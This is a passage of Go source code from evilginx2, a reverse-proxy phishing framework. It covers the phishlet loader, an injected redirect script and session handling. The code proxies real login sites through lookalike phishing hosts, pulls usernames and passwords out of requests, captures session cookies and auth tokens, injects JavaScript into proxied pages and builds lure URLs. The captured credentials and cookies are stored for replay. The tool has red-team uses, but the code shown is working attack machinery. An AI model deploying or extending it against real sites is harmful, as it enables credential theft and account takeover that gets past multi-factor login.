	ForcePosts  *[]ConfigForcePost `mapstructure:"force_post"`
	LandingPath *[]string          `mapstructure:"landing_path"`
	LoginItem   *ConfigLogin       `mapstructure:"login"`
	JsInject    *[]ConfigJsInject  `mapstructure:"js_inject"`
	Intercept   *[]ConfigIntercept `mapstructure:"intercept"`
}

func NewPhishlet(site string, path string, customParams *map[string]string, cfg *Config) (*Phishlet, error) {
	p := &Phishlet{
		cfg: cfg,
	}
	p.Clear()

	err := p.LoadFromFile(site, path, customParams)
	if err != nil {
		return nil, err
	}
	return p, nil
}

func (p *Phishlet) Clear() {
	p.Name = ""
	p.ParentName = ""
	p.Author = ""
	p.proxyHosts = []ProxyHost{}
	p.domains = []string{}
	p.subfilters = make(map[string][]SubFilter)
	p.cookieAuthTokens = make(map[string][]*CookieAuthToken)
	p.bodyAuthTokens = make(map[string]*BodyAuthToken)
	p.httpAuthTokens = make(map[string]*HttpAuthToken)
	p.authUrls = []*regexp.Regexp{}
	p.username.key = nil
	p.username.search = nil
	p.password.key = nil
	p.password.search = nil
	p.custom = []PostField{}
	p.forcePost = []ForcePost{}
	p.customParams = make(map[string]string)
	p.isTemplate = false
}

func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[string]string) error {
	p.Clear()

	c := viper.New()
	c.SetConfigType("yaml")
	c.SetConfigFile(path)

	err := c.ReadInConfig()
	if err != nil {
		return err
	}

	p.Name = site
	p.Path = path
	p.ParentName = ""
	p.Author = c.GetString("author")
	p.RedirectUrl = c.GetString("redirect_url")
	p.Version, err = p.parseVersion(c.GetString("min_ver"))
	if err != nil {
		return err
	}
	if !p.isVersionHigherEqual(&p.Version, "2.2.0") {
		return fmt.Errorf("this phishlet is incompatible with current version of evilginx.\nplease do the following modifications to update it:\n\n" +
			"- in each `sub_filters` item change `hostname` to `triggers_on`\n" +
			"- in each `sub_filters` item change `sub` to `orig_sub`\n" +
			"- rename section `user_regex` to `username`\n" +
			"- rename section `pass_regex` to `password`\n" +
			"- rename field `re` in both `username` and `password` to `search`\n" +
			"- field `key` in both `username` and `password` must be a regexp by default\n" +
			"- move `username` and `password` into new `credentials` section\n" +
			"- add `type` field to `username` and `password` with value 'post' or 'json'\n" +
			"- change `min_ver` to at least `2.2.0`\n" +
			"you can find the phishlet 2.2.0 file format documentation here: https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.2.0)")
	}
	if !p.isVersionHigherEqual(&p.Version, "2.3.0") {
		return fmt.Errorf("this phishlet is incompatible with current version of evilginx.\nplease do the following modifications to update it:\n\n" +
			"- replace `landing_path` with `login` section\n" +
			"- change `min_ver` to at least `2.3.0`\n" +
			"you can find the phishlet 2.3.0 file format documentation here: https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.3.0)")
	}

	fp := ConfigPhishlet{}
	err = c.Unmarshal(&fp)
	if err != nil {
		return err
	}

	if fp.Params != nil {
		if len(*fp.Params) > 0 {
			p.isTemplate = true
		}
		if customParams != nil {
			prequired := make(map[string]string)
			pall := make(map[string]string)
			params := make(map[string]string)
			for _, param := range *fp.Params {
				val := ""
				if param.Default != nil {
					val = *param.Default
				}
				params[param.Name] = val
				pall[param.Name] = val

				if param.Required != nil && *param.Required == true {
					prequired[param.Name] = val
				}
			}
			for k, v := range *customParams {
				if _, ok := pall[k]; !ok {
					log.Warning("phishlets: [%s] incorrect parameter key specified: %s", site, k)
					delete(*customParams, k)
					continue
				}
				params[k] = v
				if _, ok := prequired[k]; ok {
					delete(prequired, k)
				}
			}
			if len(prequired) > 0 {
				return fmt.Errorf("missing custom parameter values during initalization: %v", prequired)
			}
			p.isTemplate = false
			p.customParams = params
		} else {
			for _, param := range *fp.Params {
				val := ""
				if param.Required != nil && *param.Required {
					val += "(required)"
				} else if param.Default != nil {
					val = *param.Default
				}

				p.customParams[param.Name] = val
			}
		}

		/*
			if customParams != nil {
				p.customParams = *customParams
			} else {
				for _, param := range *fp.Params {
					p.customParams[param.Name] = param.Default
				}
			}*/
	}

	if fp.ProxyHosts == nil {
		return fmt.Errorf("missing `proxy_hosts` section")
	}
	if fp.AuthTokens == nil {
		return fmt.Errorf("missing `auth_tokens` section")
	}
	if fp.Credentials == nil {
		return fmt.Errorf("missing `credentials` section")
	}
	if fp.Credentials.Username == nil {
		return fmt.Errorf("credentials: missing `username` section")
	}
	if fp.Credentials.Password == nil {
		return fmt.Errorf("credentials: missing `password` section")
	}
	if fp.LoginItem == nil {
		return fmt.Errorf("missing `login` section")
	}

	for _, ph := range *fp.ProxyHosts {
		if ph.PhishSub == nil {
			return fmt.Errorf("proxy_hosts: missing `phish_sub` field")
		}
		if ph.OrigSub == nil {
			return fmt.Errorf("proxy_hosts: missing `orig_sub` field")
		}
		if ph.Domain == nil {
			return fmt.Errorf("proxy_hosts: missing `domain` field")
		}
		auto_filter := true
		if ph.AutoFilter != nil {
			auto_filter = *ph.AutoFilter
		}
		p.addProxyHost(p.paramVal(*ph.PhishSub), p.paramVal(*ph.OrigSub), p.paramVal(*ph.Domain), ph.Session, ph.IsLanding, auto_filter)
	}
	if len(p.proxyHosts) == 0 {
		return fmt.Errorf("proxy_hosts: list cannot be empty")
	}
	session_set := false
	for _, ph := range p.proxyHosts {
		if ph.handle_session {
			session_set = true
			break
		}
	}
	if !session_set {
		p.proxyHosts[0].handle_session = true
	}
	landing_set := false
	for _, ph := range p.proxyHosts {
		if ph.is_landing {
			landing_set = true
			break
		}
	}
	if !landing_set {
		p.proxyHosts[0].is_landing = true
	}

	if fp.SubFilters != nil {
		for _, sf := range *fp.SubFilters {
			if sf.Hostname == nil {
				return fmt.Errorf("sub_filters: missing `triggers_on` field")
			}
			if sf.Sub == nil {
				return fmt.Errorf("sub_filters: missing `orig_sub` field")
			}
			if sf.Domain == nil {
				return fmt.Errorf("sub_filters: missing `domain` field")
			}
			if sf.Mimes == nil {
				return fmt.Errorf("sub_filters: missing `mimes` field")
			}
			if sf.Search == nil {
				return fmt.Errorf("sub_filters: missing `search` field")
			}
			if sf.Replace == nil {
				return fmt.Errorf("sub_filters: missing `replace` field")
			}
			if sf.WithParams == nil {
				sf.WithParams = &[]string{}
			}

			for n := range *sf.Mimes {
				(*sf.Mimes)[n] = p.paramVal((*sf.Mimes)[n])
			}
			p.addSubFilter(p.paramVal(*sf.Hostname), p.paramVal(*sf.Sub), p.paramVal(*sf.Domain), *sf.Mimes, p.paramVal(*sf.Search), p.paramVal(*sf.Replace), sf.RedirectOnly, *sf.WithParams)
		}
	}
	if fp.JsInject != nil {
		for _, js := range *fp.JsInject {
			if js.TriggerDomains == nil {
				return fmt.Errorf("js_inject: missing `trigger_domains` field")
			}
			if js.TriggerPaths == nil {
				return fmt.Errorf("js_inject: missing `trigger_paths` field")
			}
			if js.Script == nil {
				return fmt.Errorf("js_inject: missing `script` field")
			}
			for n := range *js.TriggerDomains {
				(*js.TriggerDomains)[n] = p.paramVal((*js.TriggerDomains)[n])
			}
			for n := range *js.TriggerPaths {
				(*js.TriggerPaths)[n] = p.paramVal((*js.TriggerPaths)[n])
			}
			err := p.addJsInject(*js.TriggerDomains, *js.TriggerPaths, js.TriggerParams, p.paramVal(*js.Script))
			if err != nil {
				return err
			}
		}
	}
	if fp.Intercept != nil {
		for _, ic := range *fp.Intercept {
			var err error
			var body, mime string
			if ic.Domain == nil {
				return fmt.Errorf("intercept: missing `domain` field")
			}
			if *ic.Domain == "" {
				return fmt.Errorf("intercept: `domain` field cannot be empty")
			}
			if ic.Path == nil {
				return fmt.Errorf("intercept: missing `path` field")
			}
			path_re, err := regexp.Compile(*ic.Path)
			if err != nil {
				return fmt.Errorf("intercept: `path` invalid regular expression: %v", err)
			}
			if ic.HttpStatus == nil {
				return fmt.Errorf("intercept: missing `http_status` field")
			}
			if ic.Body != nil {
				body = *ic.Body
			}
			if ic.Mime != nil {
				mime = *ic.Mime
			}
			err = p.addIntercept(*ic.Domain, path_re, *ic.HttpStatus, body, mime)
			if err != nil {
				return err
			}
		}
	}
	for _, at := range *fp.AuthTokens {
		ttype := "cookie"
		if at.Type != nil {
			ttype = *at.Type
		}
		if !stringExists(ttype, AUTH_TOKEN_TYPES) {
			return fmt.Errorf("auth_tokens: invalid token type: %s", ttype)
		}
		switch ttype {
		case "cookie":
			if at.Domain == nil {
				return fmt.Errorf("auth_tokens: 'domain' not found for cookie auth token")
			}
			if at.Keys == nil {
				return fmt.Errorf("auth_tokens: 'keys' not found for cookie auth token")
			}

			for n := range *at.Keys {
				(*at.Keys)[n] = p.paramVal((*at.Keys)[n])
			}
			err := p.addCookieAuthTokens(p.paramVal(*at.Domain), *at.Keys)
			if err != nil {
				return err
			}
		case "body":
			if at.Domain == nil {
				return fmt.Errorf("auth_tokens: 'domain' not found for body auth token")
			}
			if at.Path == nil {
				return fmt.Errorf("auth_tokens: 'path' not found for body auth token")
			}
			if at.Name == nil {
				return fmt.Errorf("auth_tokens: 'name' not found for body auth token")
			}
			if at.Search == nil {
				return fmt.Errorf("auth_tokens: 'search' not found for body auth token")
			}

			err := p.addBodyAuthToken(p.paramVal(*at.Domain), p.paramVal(*at.Path), p.paramVal(*at.Name), p.paramVal(*at.Search))
			if err != nil {
				return err
			}
		case "http":
			if at.Domain == nil {
				return fmt.Errorf("auth_tokens: 'domain' not found for http auth token")
			}
			if at.Path == nil {
				return fmt.Errorf("auth_tokens: 'path' not found for http auth token")
			}
			if at.Name == nil {
				return fmt.Errorf("auth_tokens: 'name' not found for http auth token")
			}
			if at.Header == nil {
				return fmt.Errorf("auth_tokens: 'header' not found for http auth token")
			}

			err := p.addHttpAuthToken(p.paramVal(*at.Domain), p.paramVal(*at.Path), p.paramVal(*at.Name), p.paramVal(*at.Header))
			if err != nil {
				return err
			}
		}
	}
	for _, au := range fp.AuthUrls {
		re, err := regexp.Compile(p.paramVal(au))
		if err != nil {
			return err
		}
		p.authUrls = append(p.authUrls, re)
	}

	if fp.Credentials.Username.Key == nil {
		return fmt.Errorf("credentials: missing username `key` field")
	}
	if fp.Credentials.Username.Search == nil {
		return fmt.Errorf("credentials: missing username `search` field")
	}
	if fp.Credentials.Password.Key == nil {
		return fmt.Errorf("credentials: missing password `key` field")
	}
	if fp.Credentials.Password.Search == nil {
		return fmt.Errorf("credentials: missing password `search` field")
	}

	p.username.key, err = regexp.Compile(p.paramVal(*fp.Credentials.Username.Key))
	if err != nil {
		return fmt.Errorf("credentials: %v", err)
	}

	p.username.search, err = regexp.Compile(p.paramVal(*fp.Credentials.Username.Search))
	if err != nil {
		return fmt.Errorf("credentials: %v", err)
	}

	p.password.key, err = regexp.Compile(p.paramVal(*fp.Credentials.Password.Key))
	if err != nil {
		return fmt.Errorf("credentials: %v", err)
	}

	p.password.search, err = regexp.Compile(p.paramVal(*fp.Credentials.Password.Search))
	if err != nil {
		return fmt.Errorf("credentials: %v", err)
	}

	p.username.tp = fp.Credentials.Username.Type
	if p.username.tp == "" {
		p.username.tp = "post"
	}
	p.password.tp = fp.Credentials.Password.Type
	if p.password.tp == "" {
		p.password.tp = "post"
	}
	p.username.key_s = p.paramVal(*fp.Credentials.Username.Key)
	p.password.key_s = p.paramVal(*fp.Credentials.Password.Key)

	if fp.LoginItem.Domain == nil {
		return fmt.Errorf("login: missing `domain` field")
	}
	if fp.LoginItem.Path == nil {
		return fmt.Errorf("login: missing `path` field")
	}
	p.login.domain = p.paramVal(*fp.LoginItem.Domain)
	if p.login.domain == "" {
		return fmt.Errorf("login: `domain` field cannot be empty")
	}
	login_domain_ok := false
	for _, h := range p.proxyHosts {
		var check_host string
		if h.orig_subdomain != "" {
			check_host = h.orig_subdomain + "."
		}
		check_host += h.domain
		if strings.ToLower(check_host) == strings.ToLower(p.login.domain) {
			login_domain_ok = true
			break
		}
	}
	if !login_domain_ok {
		return fmt.Errorf("login: `domain` must contain a value of one of the hostnames (`orig_subdomain` + `domain`) defined in `proxy_hosts` section")
	}

	p.login.path = p.paramVal(*fp.LoginItem.Path)
	if p.login.path == "" {
		p.login.path = "/"
	}
	if p.login.path[0] != '/' {
		p.login.path = "/" + p.login.path
	}

	if fp.Credentials.Custom != nil {
		for _, cp := range *fp.Credentials.Custom {
			var err error
			if cp.Key == nil {
				return fmt.Errorf("credentials: missing custom `key` field")
			}
			if cp.Search == nil {
				return fmt.Errorf("credentials: missing custom `search` field")
			}
			o := PostField{}
			o.key, err = regexp.Compile(p.paramVal(*cp.Key))
			if err != nil {
				return fmt.Errorf("credentials: %v", err)
			}
			o.search, err = regexp.Compile(p.paramVal(*cp.Search))
			if err != nil {
				return err
			}
			o.tp = cp.Type
			if o.tp == "" {
				o.tp = "post"
			}
			o.key_s = p.paramVal(*cp.Key)
			p.custom = append(p.custom, o)
		}
	}

	if fp.ForcePosts != nil {
		for _, op := range *fp.ForcePosts {
			var err error
			if op.Path == nil || *op.Path == "" {
				return fmt.Errorf("force_post: missing or empty `path` field")
			}
			if op.Type == nil || *op.Type != "post" {
				return fmt.Errorf("force_post: unknown type - only 'post' is currently supported")
			}
			if op.Force == nil || len(*op.Force) == 0 {
				return fmt.Errorf("force_post: missing or empty `force` field")
			}

			fpf := ForcePost{}
			fpf.path, err = regexp.Compile(p.paramVal(*op.Path))
			if err != nil {
				return err
			}
			fpf.tp = *op.Type

			if op.Search != nil {
				for _, op_s := range *op.Search {
					if op_s.Key == nil {
						return fmt.Errorf("force_post: missing search `key` field")
					}
					if op_s.Search == nil {
						return fmt.Errorf("force_post: missing search `search` field")
					}

					f_s := ForcePostSearch{}
					f_s.key, err = regexp.Compile(p.paramVal(*op_s.Key))
					if err != nil {
						return err
					}
					f_s.search, err = regexp.Compile(p.paramVal(*op_s.Search))
					if err != nil {
						return err
					}
					fpf.search = append(fpf.search, f_s)
				}
			}
			for _, op_f := range *op.Force {
				if op_f.Key == nil {
					return fmt.Errorf("force_post: missing force `key` field")
				}
				if op_f.Value == nil {
					return fmt.Errorf("force_post: missing force `value` field")
				}

				f_f := ForcePostForce{
					key:   p.paramVal(*op_f.Key),
					value: p.paramVal(*op_f.Value),
				}
				fpf.force = append(fpf.force, f_f)
			}
			p.forcePost = append(p.forcePost, fpf)
		}
	}

	if fp.LandingPath != nil {
		p.landing_path = *fp.LandingPath
		for n := range p.landing_path {
			p.landing_path[n] = p.paramVal(p.landing_path[n])
		}
	}
	return nil
}

func (p *Phishlet) GetPhishHosts(use_wildcards bool) []string {
	var ret []string
	phishDomain, ok := p.cfg.GetSiteDomain(p.Name)
	if ok {
		if !use_wildcards {
			for _, h := range p.proxyHosts {
				ret = append(ret, combineHost(h.phish_subdomain, phishDomain))
			}
		} else {
			ret = []string{"*." + phishDomain}
		}
	}
	return ret
}

func (p *Phishlet) GetLureUrl(path string) (string, error) {
	var ret string
	host := p.cfg.GetBaseDomain()
	for _, h := range p.proxyHosts {
		if h.is_landing {
			phishDomain, ok := p.cfg.GetSiteDomain(p.Name)
			if ok {
				host = combineHost(h.phish_subdomain, phishDomain)
			}
		}
	}
	ret = "https://" + host + path
	return ret, nil
}

func (p *Phishlet) GetLoginUrl() string {
	return "https://" + p.login.domain + p.login.path
}

func (p *Phishlet) GetLandingPhishHost() string {
	for _, ph := range p.proxyHosts {
		if ph.is_landing {
			phishDomain, ok := p.cfg.GetSiteDomain(p.Name)
			if ok {
				return combineHost(ph.phish_subdomain, phishDomain)
			}
		}
	}
	return ""
}

func (p *Phishlet) GetScriptInject(hostname string, path string, params *map[string]string) (string, string, error) {
	for _, js := range p.js_inject {
		host_matched := false
		for _, h := range js.trigger_domains {
			if h == strings.ToLower(hostname) {
				host_matched = true
				break
			}
		}
		if host_matched {
			path_matched := false
			for _, p_re := range js.trigger_paths {
				if p_re.MatchString(path) {
					path_matched = true
					break
				}
			}
			if path_matched {
				params_matched := false
				if params != nil {
					pcnt := 0
					for k := range *params {
						if stringExists(k, js.trigger_params) {
							pcnt += 1
						}
					}
					if pcnt == len(js.trigger_params) {
						params_matched = true
					}
				} else {
					params_matched = true
				}

				if params_matched {
					script := js.script
					if params != nil {
						for k, v := range *params {
							script = strings.Replace(script, "{"+k+"}", v, -1)
						}
					}
					return js.id, script, nil
				}
			}
		}
	}
	return "", "", fmt.Errorf("script not found")
}

func (p *Phishlet) GetScriptInjectById(id string, params *map[string]string) (string, error) {
	for _, js := range p.js_inject {
		if js.id == id {
			script := js.script
			if params != nil {
				for k, v := range *params {
					script = strings.Replace(script, "{"+k+"}", v, -1)
				}
			}

			return script, nil
		}
	}
	return "", fmt.Errorf("script not found")
}

func (p *Phishlet) GenerateTokenSet(tokens map[string]string) map[string]map[string]string {
	ret := make(map[string]map[string]string)
	td := make(map[string]string)
	for domain, tokens := range p.cookieAuthTokens {
		ret[domain] = make(map[string]string)
		for _, t := range tokens {
			td[t.name] = domain
		}
	}

	for k, v := range tokens {
		if domain, ok := td[k]; ok {
			ret[domain][k] = v
		}
	}
	return ret
}

func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, domain string, handle_session bool, is_landing bool, auto_filter bool) {
	phish_subdomain = strings.ToLower(phish_subdomain)
	orig_subdomain = strings.ToLower(orig_subdomain)
	domain = strings.ToLower(domain)
	if !p.domainExists(domain) {
		p.domains = append(p.domains, domain)
	}

	p.proxyHosts = append(p.proxyHosts, ProxyHost{phish_subdomain: phish_subdomain, orig_subdomain: orig_subdomain, domain: domain, handle_session: handle_session, is_landing: is_landing, auto_filter: auto_filter})
}

func (p *Phishlet) addSubFilter(hostname string, subdomain string, domain string, mime []string, regexp string, replace string, redirect_only bool, with_params []string) {
	hostname = strings.ToLower(hostname)
	subdomain = strings.ToLower(subdomain)
	domain = strings.ToLower(domain)
	for n := range mime {
		mime[n] = strings.ToLower(mime[n])
	}
	p.subfilters[hostname] = append(p.subfilters[hostname], SubFilter{subdomain: subdomain, domain: domain, mime: mime, regexp: regexp, replace: replace, redirect_only: redirect_only, with_params: with_params})
}

func (p *Phishlet) addCookieAuthTokens(hostname string, tokens []string) error {
	p.cookieAuthTokens[hostname] = []*CookieAuthToken{}
	for _, tk := range tokens {
		st := strings.Split(tk, ":")
		if len(st) == 1 {
			st = strings.Split(tk, ",")
		}
		if len(st) > 0 {
			name := st[0]
			at := &CookieAuthToken{
				name:      name,
				re:        nil,
				http_only: false,
				optional:  false,
				always:    false,
			}
			for i := 1; i < len(st); i++ {
				switch st[i] {
				case "regexp":
					var err error
					at.re, err = regexp.Compile(name)
					if err != nil {
						return err
					}
				case "opt":
					at.optional = true
				case "always":
					at.always = true
				}
			}
			p.cookieAuthTokens[hostname] = append(p.cookieAuthTokens[hostname], at)
		}
	}
	return nil
}

func (p *Phishlet) addBodyAuthToken(hostname string, path string, name string, search string) error {
	path_re, err := regexp.Compile(path)
	if err != nil {
		return err
	}
	search_re, err := regexp.Compile(search)
	if err != nil {
		return err
	}

	p.bodyAuthTokens[name] = &BodyAuthToken{
		domain: hostname,
		path:   path_re,
		name:   name,
		search: search_re,
	}

	return nil
}

func (p *Phishlet) addHttpAuthToken(hostname string, path string, name string, header string) error {
	path_re, err := regexp.Compile(path)
	if err != nil {
		return err
	}

	p.httpAuthTokens[name] = &HttpAuthToken{
		domain: hostname,
		path:   path_re,
		name:   name,
		header: header,
	}

	return nil
}

func (p *Phishlet) addJsInject(trigger_domains []string, trigger_paths []string, trigger_params []string, script string) error {
	js := JsInject{
		id: GenRandomToken(),
	}
	for _, d := range trigger_domains {
		js.trigger_domains = append(js.trigger_domains, strings.ToLower(d))
	}
	for _, d := range trigger_paths {
		re, err := regexp.Compile("^" + d + "$")
		if err == nil {
			js.trigger_paths = append(js.trigger_paths, re)
		} else {
			return fmt.Errorf("js_inject: %v", err)
		}
	}
	for _, d := range trigger_params {
		js.trigger_params = append(js.trigger_params, strings.ToLower(d))
	}
	js.script = script

	p.js_inject = append(p.js_inject, js)
	return nil
}

func (p *Phishlet) addIntercept(domain string, path *regexp.Regexp, http_status int, body string, mime string) error {
	ic := Intercept{
		domain:      strings.ToLower(domain),
		path:        path,
		http_status: http_status,
		body:        body,
		mime:        mime,
	}
	p.intercept = append(p.intercept, ic)
	return nil
}

func (p *Phishlet) domainExists(domain string) bool {
	for _, d := range p.domains {
		if domain == d {
			return true
		}
	}
	return false
}

func (p *Phishlet) getAuthToken(domain string, token string) *CookieAuthToken {
	if tokens, ok := p.cookieAuthTokens[domain]; ok {
		for _, at := range tokens {
			if at.re != nil {
				if at.re.MatchString(token) {
					return at
				}
			} else if at.name == token {
				return at
			}
		}
	}
	return nil
}

func (p *Phishlet) isAuthToken(domain string, token string) bool {
	if at := p.getAuthToken(domain, token); at != nil {
		return true
	}
	return false
}

func (p *Phishlet) isTokenHttpOnly(domain string, token string) bool {
	if at := p.getAuthToken(domain, token); at != nil {
		return at.http_only
	}
	return false
}

func (p *Phishlet) MimeExists(mime string) bool {
	return false
}

func (p *Phishlet) isVersionHigherEqual(pv *PhishletVersion, cver string) bool {
	cv, err := p.parseVersion(cver)
	if err != nil {
		return false
	}

	if pv.major > cv.major {
		return true
	}
	if pv.major == cv.major && pv.minor >= cv.minor {
		return true
	}
	return false
}

func (p *Phishlet) parseVersion(ver string) (PhishletVersion, error) {
	ret := PhishletVersion{}
	va := strings.Split(ver, ".")
	if len(va) != 3 {
		return ret, fmt.Errorf("invalid version format (must be X.Y.Z)")
	}
	var err error
	ret.major, err = strconv.Atoi(va[0])
	if err != nil {
		return ret, err
	}
	ret.minor, err = strconv.Atoi(va[1])
	if err != nil {
		return ret, err
	}
	ret.build, err = strconv.Atoi(va[2])
	if err != nil {
		return ret, err
	}
	return ret, nil
}

func (p *Phishlet) paramVal(s string) string {
	var ret string = s
	if !p.isTemplate {
		for k, v := range p.customParams {
			ret = strings.ReplaceAll(ret, "{"+k+"}", v)
		}
	}
	return ret
}


================================================
FILE: core/scripts.go
================================================
package core

const DYNAMIC_REDIRECT_JS = `
function getRedirect(sid) {
	var url = "/s/" + sid;
	console.log("fetching: " + url);
	fetch(url, {
		method: "GET",
		headers: {
			"Content-Type": "application/json"
		},
		credentials: "include"
	})
		.then((response) => {

			if (response.status == 200) {
				return response.json();
			} else if (response.status == 408) {
				console.log("timed out");
				getRedirect(sid);
			} else {
				throw "http error: " + response.status;
			}
		})
		.then((data) => {
			if (data !== undefined) {
				console.log("api: success:", data);
				top.location.href=data.redirect_url;
			}
		})
		.catch((error) => {
			console.error("api: error:", error);
			setTimeout(function () { getRedirect(sid) }, 10000);
		});
}
getRedirect('{session_id}');
`


================================================
FILE: core/session.go
================================================
package core

import (
	"time"

	"github.com/kgretzky/evilginx2/database"
)

type Session struct {
	Id             string
	Name           string
	Username       string
	Password       string
	Custom         map[string]string
	Params         map[string]string
	BodyTokens     map[string]string
	HttpTokens     map[string]string
	CookieTokens   map[string]map[string]*database.CookieToken
	RedirectURL    string
	IsDone         bool
	IsAuthUrl      bool
	IsForwarded    bool
	ProgressIndex  int
	RedirectCount  int
	PhishLure      *Lure
	RedirectorName string
	LureDirPath    string
	DoneSignal     chan struct{}
	RemoteAddr     string
	UserAgent      string
}

func NewSession(name string) (*Session, error) {
	s := &Session{
		Id:             GenRandomToken(),
		Name:           name,
		Username:       "",
		Password:       "",
		Custom:         make(map[string]string),
		Params:         make(map[string]string),
		BodyTokens:     make(map[string]string),
		HttpTokens:     make(map[string]string),
		RedirectURL:    "",
		IsDone:         false,
		IsAuthUrl:      false,
		IsForwarded:    false,
		ProgressIndex:  0,
		RedirectCount:  0,
		PhishLure:      nil,
		RedirectorName: "",
		LureDirPath:    "",
		DoneSignal:     make(chan struct{}),
		RemoteAddr:     "",
		UserAgent:      "",
	}
	s.CookieTokens = make(map[string]map[string]*database.CookieToken)

	return s, nil
}

func (s *Session) SetUsername(username string) {
	s.Username = username
}

func (s *Session) SetPassword(password string) {
	s.Password = password
}

func (s *Session) SetCustom(name string, value string) {
	s.Custom[name] = value
}

func (s *Session) AddCookieAuthToken(domain string, key string, value string, path string, http_only bool, expires time.Time) {
	if _, ok := s.CookieTokens[domain]; !ok {
		s.CookieTokens[domain] = make(map[string]*database.CookieToken)
	}

	if tk, ok := s.CookieTokens[domain][key]; ok {
		tk.Name = key
		tk.Value = value
		tk.Path = path
		tk.HttpOnly = http_only
	} else {
		s.CookieTokens[domain][key] = &database.CookieToken{
			Name:     key,
			Value:    value,
			HttpOnly: http_only,
		}
	}

}

func (s *Session) AllCookieAuthTokensCaptured(authTokens map[string][]*CookieAuthToken) bool {
	tcopy := make(map[string][]CookieAuthToken)
	for k, v := range authTokens {
		tcopy[k] = []CookieAuthToken{}
		for _, at := range v {
			if !at.optional {
				tcopy[k] = append(tcopy[k], *at)
			}
		}
	}

	for domain, tokens := range s.CookieTokens {
		for tk := range tokens {
			if al, ok := tcopy[domain]; ok {
				for an, at := range al {
					match := false
					if at.re != nil {
						match = at.re.MatchString(tk)
					} else if at.name == tk {
						match = true
					}
					if match {
						tcopy[domain] = append(tcopy[domain][:an], tcopy[domain][an+1:]...)
						if len(tcopy[domain]) == 0 {
							delete(tcopy, domain)
						}
						break
					}
				}
			}
		}
	}

	if len(tcopy) == 0 {
		return true
	}
	return false
}

func (s *Session) Finish(is_auth_url bool) {
	if !s.IsDone {
		s.IsDone = true
		s.IsAuthUrl = is_auth_url
		if s.DoneSignal != nil {
			close(s.DoneSignal)
			s.DoneSignal = nil
		}
	}
}


================================================
FILE: core/shared.go
================================================
package core

import "strings"

func combineHost(sub string, domain string) string {
	if sub == "" {
		return domain
	}
	return sub + "." + domain
}

func obfuscateDots(s string) string {
	return strings.Replace(s, ".", "[[d0t]]", -1)
}

func removeObfuscatedDots(s string) string {
	return strings.Replace(s, "[[d0t]]", ".", -1)
}

func stringExists(s string, sa []string) bool {
	for _, k := range sa {
		if s == k {
			return true
		}
	}
	return false
}

func intExists(i int, ia []int) bool {
	for _, k := range ia {
		if i == k {
			return true
		}
	}
	return false
}

func removeString(s string, sa []string) []string {
	for i, k := range sa {
		if s == k {
			return append(sa[:i], sa[i+1:]...)
		}
	}
	return sa
}

func truncateString(s string, maxLen int) string {
	if len(s) > maxLen {
		ml := maxLen
		pre := s[:ml/2-1]
		suf := s[len(s)-(ml/2-2):]
		return pre + "..." + suf
	}
	return s
}


================================================
FILE: core/table.go
================================================
/*

This source file is a modified version of what was taken from the amazing bettercap (https://github.com/bettercap/bettercap) project.
Credits go to Simone Margaritelli (@evilsocket) for providing awesome piece of code!

*/

package core

import (
	"fmt"
	"regexp"
	"strings"
	"unicode/utf8"

	"github.com/fatih/color"
)

func viewLen(s string) int {
	var ansi = regexp.MustCompile("\033\\[(?:[0-9]{1,3}(?:;[0-9]{1,3})*)?[m|K]")
	for _, m := range ansi.FindAllString(s, -1) {
		s = strings.Replace(s, m, "", -1)
	}
	return utf8.RuneCountInString(s)
}

func truncString(s string, maxLen int) string {
	var ansi = regexp.MustCompile("\033\\[(?:[0-9]{1,3}(?:;[0-9]{1,3})*)?[m|K]")
	sm := s
	for _, m := range ansi.FindAllString(sm, -1) {
		sm = strings.Replace(sm, m, "", -1)
	}
	nsm := sm
	if utf8.RuneCountInString(sm) > maxLen {
		if maxLen > 3 {
			nsm = nsm[:maxLen-3] + "..."
		} else {
			nsm = nsm[:maxLen]
		}
		s = strings.Replace(s, sm, nsm, -1)
	}
	return s
}

func maxLen(strings []string) int {
	maxLen := 0
	for _, s := range strings {
		len := viewLen(s)
		if len > maxLen {
			maxLen = len
		}
	}
	return maxLen
}

type Alignment int

const (
	AlignLeft   = Alignment(0)
	AlignCenter = Alignment(1)
	AlignRight  = Alignment(2)
)

const minColLen = 16

func getPads(s string, maxLen int, align Alignment) (lPad int, rPad int) {
	len := viewLen(s)
	diff := maxLen - len

	if align == AlignLeft {
		lPad = 0
		rPad = diff - lPad + 1
	} else if align == AlignCenter {
		lPad = diff / 2
		rPad = diff - lPad + 1
	} else if align == AlignRight {
		lPad = diff + 1
		rPad = 0
	}

	return
}

func padded(s string, maxLen int, align Alignment) string {
	lPad, rPad := getPads(s, maxLen, align)
	return fmt.Sprintf("%s%s%s", strings.Repeat(" ", lPad), s, strings.Repeat(" ", rPad))
}

func AsTable(columns []string, rows [][]string) string {
	colMaxLens := make([]int, 0)

	dg := color.New(color.FgHiBlack)
	for i, col := range columns {
		clen := viewLen(col) + 4
		if clen < minColLen {
			clen = minColLen
		}
		colMaxLens = append(colMaxLens, clen)

		columns[i] = fmt.Sprintf(" %s ", col)
	}

	for i, row := range rows {
		for j, cell := range row {
			rows[i][j] = fmt.Sprintf(" %s ", truncString(cell, colMaxLens[j])) //cell)
		}
	}

	colPaddings := make([]int, 0)
	lineSep := ""
	for colIndex, colHeader := range columns {
		column := []string{colHeader}
		for _, row := range rows {

			column = append(column, row[colIndex])
		}
		mLen := maxLen(column)
		colPaddings = append(colPaddings, mLen)
		lineSep += fmt.Sprintf("+%s", strings.Repeat("-", mLen+1))
	}
	lineSep += "+"

	table := ""

	// header
	table += dg.Sprintf("%s\n", lineSep)
	for colIndex, colHeader := range columns {
		table += dg.Sprintf("|") + fmt.Sprintf("%s", padded(colHeader, colPaddings[colIndex], AlignCenter))
	}
	table += dg.Sprintf("|\n")
	table += dg.Sprintf("%s\n", lineSep)

	// rows
	for _, row := range rows {
		for colIndex, cell := range row {
			table += dg.Sprintf("|") + fmt.Sprintf("%s", padded(cell, colPaddings[colIndex], AlignLeft))
		}
		table += dg.Sprintf("|\n")
	}

	// footer
	table += dg.Sprintf(lineSep) + "\n"

	return table
}

func AsRows(keys []string, vals []string) string {
	clr := color.New(color.FgHiBlack)
	mLen := maxLen(keys)
	var table string
	for i := range keys {
		table += clr.Sprintf(" %s : ", padded(keys[i], mLen, AlignLeft)) + fmt.Sprintf("%s\n", vals[i])
	}
	return table
}

func AsDescription(keys []string, vals []string) string {
